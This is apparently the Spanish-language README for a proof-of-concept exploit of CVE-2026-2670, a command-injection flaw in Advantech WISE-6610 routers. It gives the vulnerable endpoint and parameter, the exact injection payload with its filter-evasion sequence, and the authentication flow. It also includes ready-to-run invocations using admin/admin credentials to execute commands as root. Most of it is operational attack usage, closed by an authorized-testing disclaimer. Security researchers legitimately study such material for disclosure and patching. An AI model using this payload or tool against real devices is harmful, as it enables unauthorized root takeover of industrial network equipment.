
Prueba de concepto de exploit para CVE-2026-2670, una vulnerabilidad de inyección de comandos en los routers Advantech WISE-6610, que permite a atacantes autenticados ejecutar comandos arbitrarios con privilegios de root.
Exploit de prueba de concepto que demuestra una vulnerabilidad de inyección de comandos en el router celular industrial Advantech WISE-6610.
La vulnerabilidad existe en el endpoint /cgi-bin/luci/admin/openvpn_apply y permite a un atacante autenticado ejecutar comandos arbitrarios del sistema.
La interfaz web del WISE-6610 no sanea adecuadamente el parámetro delete_file al procesar eliminaciones de configuración de OpenVPN.
Un atacante con credenciales válidas puede inyectar comandos de shell utilizando una tubería (|) seguida de un comando y una secuencia de terminación echo$(IFS) para evadir el filtrado de entrada.
Los comandos inyectados se ejecutan con privilegios de root.
requestsInstalar dependencias:
pip install requests
Opción Descripción
--target URL base del dispositivo (p. ej., http://192.168.1.100:8444)
--cmd Comando a ejecutar. Debe escribir la salida en un archivo dentro de la raíz web (p. ej., id > output.txt)
--output Ruta web del archivo de salida (p. ej., /output.txt). Debe coincidir con el nombre de archivo utilizado en --cmd
--cookie (Opcional) Valor existente de la cookie de sesión sysauth
--username (Opcional) Nombre de usuario para el inicio de sesión
--password (Opcional) Contraseña para el inicio de sesión
--delay Segundos de espera antes de recuperar la salida (predeterminado: 2)
--debug Habilita el registro detallado de solicitudes/respuestas
El script admite dos métodos de autenticación:
Proporcionar una cookie de sesión sysauth existente
Iniciar sesión con nombre de usuario y contraseña
Sintaxis básica
python3 exploit.py --target <URL> --cmd <COMANDO> --output <RUTA_DE_SALIDA> \
[--cookie <SYSCOOKIE> | --username <USUARIO> --password <CONTRASEÑA>] \
[--delay <SEGUNDOS>] [--debug]
1️⃣ Usando una Cookie Preautenticada
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'id > output.txt' \
--cookie f417ce7d2d576017ff5fd81d7d5f555f \
--output /output.txt
2️⃣ Iniciando Sesión con Credenciales
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'echo "pwned" > output.txt' \
--username admin \
--password admin \
--output /output.txt
3️⃣ Con Salida de Depuración
python3 exploit.py \
--target http://192.168.1.100:8444 \
--cmd 'uname -a > output.txt' \
--username admin \
--password admin \
--output /output.txt \
--debug
Se envía una solicitud GET a /cgi-bin/luci/ para obtener la cookie luci_nonce necesaria para la autenticación.
Si se proporcionan credenciales, el script envía una solicitud POST a /cgi-bin/luci/ con luci_username y luci_password para obtener una cookie sysauth.
Si se suministra una cookie válida mediante --cookie, este paso se omite.
Se envía una solicitud POST a:
/cgi-bin/luci/admin/openvpn_apply
Con los siguientes parámetros:
act=delete
delete_file=123123|<comando> echo$(IFS)
openvpn_id=1
La secuencia echo$(IFS) ayuda a terminar el comando inyectado y evadir los filtros de entrada.
Después de un breve retraso, el script intenta recuperar el archivo generado desde la ruta --output especificada.
Esta herramienta se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas.
El uso no autorizado contra sistemas que no posees o para los cuales no tienes permiso explícito de prueba es ilegal.
Los autores no asumen ninguna responsabilidad por el uso indebido o los daños causados por este software.